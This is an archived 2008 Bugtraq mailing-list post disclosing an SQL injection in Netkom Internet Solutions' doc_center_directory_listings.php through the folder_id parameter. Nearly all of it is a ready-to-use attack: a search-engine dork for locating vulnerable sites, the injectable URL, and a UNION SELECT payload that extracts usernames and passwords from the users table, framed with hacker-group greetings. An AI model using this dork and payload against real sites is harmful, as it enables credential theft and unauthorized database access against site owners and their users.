bugtraq - Netkom Internet Solutions (folder_id) Remote SQL Injection Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20080213124513.32403.qmail@securityfocus.com>
Date: 13 Feb 2008 12:45:13 -0000
From: crazy_kinq@...mail.co.uk
To: bugtraq@...urityfocus.com
Subject: Netkom Internet Solutions (folder_id) Remote SQL Injection
 Vulnerability

################################################## #########################################
### Title : Netkom Internet Solutions (folder_id) Remote SQL Injection Vulnerability
###
### Author : By Cr@...King crazy_kinq@...mail.co.uk
###
### Greetz : Str0ke,Crackers_Child,The_Bekir,Eno7,Sabotaqe,Jani zary,GencTurk and Ayyildiz Team Users
###
### Dork : Powered by Netkom Internet Solutions | http://www.netkombelize.com
###
### Exploit : /doc_center_directory_listings.php?folder_id=
###
### SQL : -99+union+select+1,2,concat(username,0x3a,password) ,4+from+users+limit+0,1/*
###
### Note : '' The Best Of Tekel 2000 '' . . .
################################################## #########################################